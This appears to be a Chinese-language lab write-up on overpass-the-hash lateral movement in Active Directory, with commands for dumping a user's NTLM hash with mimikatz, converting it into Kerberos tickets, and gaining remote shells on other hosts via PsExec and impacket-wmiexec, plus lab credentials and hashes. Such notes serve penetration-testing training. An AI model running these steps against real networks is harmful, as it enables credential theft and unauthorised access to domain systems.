Active Directory 中的橫向移動 - OPtH
Active Directory 中的橫向移動 - OPtH
透過overpass the hash,我們可以「過度」濫用 NTLM 使用者哈希來獲得完整的 Kerberos 票證授予票證(TGT)。然後我們可以使用 TGT 來取得票據授予服務(TGS)。
先用已知的帳號密碼 jeff / HenchmanPutridBonbon11 登入到 Client76
└─$ xfreerdp /u:jeff /p:'HenchmanPutridBonbon11' /d:corp.com /v:192.168.191.76
按住 Shift 與滑鼠右鍵開啟某文字檔用另外一個使用者身分
這裡我們用網域的帳號密碼 jen / Nexus123! 來執行
Notepad 開啟後沒有任何需要,目的是要 jen 的憑證本機快取,所以可以直接關掉
接著直接執行 mimikatz,標準步驟 privilege::debug 再 sekurlsa::logonpasswords
目的是 jen 的 NTLM HASH "369def79d8372408bf6e93364cc93075"
接著一樣使用 mimikatz 工具執行 sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
雖然使用的是 HASH PtH 驗證,但本質會將 NTLM 雜湊轉換為 Kerberos 票證並避免使用 NTLM 驗證,這是 sekurlsa::pth 指令的結果
如下圖,執行完畢後可以看到直接開啟了另一個 Powershell 視窗
但驗證 whoami 後卻發現是 jeff 而不是 jen,這是因為 whoami 無法檢查 Kerberos Token
執行 klist 可以看到也沒有 kerbers Token
接著我們使用 net use \\files04 後再執行一次 Klist 如下圖,可以看到都是帶入 jen 的驗證
這時候已經包含了 TGT & TGS 票眷
現在,我們已將 NTLM 雜湊轉換為 Kerberos TGT,從而允許我們使用任何依賴 Kerberos 驗證(而不是 NTLM)的工具,例如 Microsoft 的官方 PsExec 應用程式
PsExec 可以遠端執行命令,但不接受密碼雜湊。由於我們已經產生了 Kerberos 票證並在 PowerShell 會話中的 jen 上下文中進行操作 ,因此我們可以重複使用 TGT 來取得 files04 主機上的程式碼執行
指令 .\PsExec.exe \\files04 cmd
即會以 jen 的網域身分執行 TGS 連線到 files04,透過 whoami、hostname、ipconfig 確認如下
練習 : 執行跨接哈希技術以橫向移動到 web04 以取得位於管理員桌面上的標誌
直接 └─$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.191.72
本章的正規解法來一下好了
先 offsec / lab,RDP 進 Client76,然後執行 mimikatz 接著使用 sekurlsa::pth /user:administrator /domain:corp.com /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell
corp.com 網域 Administrator 的 HASH
一樣 whoami,Klist 看一下
net use \\web04 再 klist 看一下,現在就有看到 administrator 的 TGT & TGS 了
接著 .\PsExec.exe \\web04 cmd 就拿到 web04 的 remote shell 了,直接拿答案吧
留言
張貼留言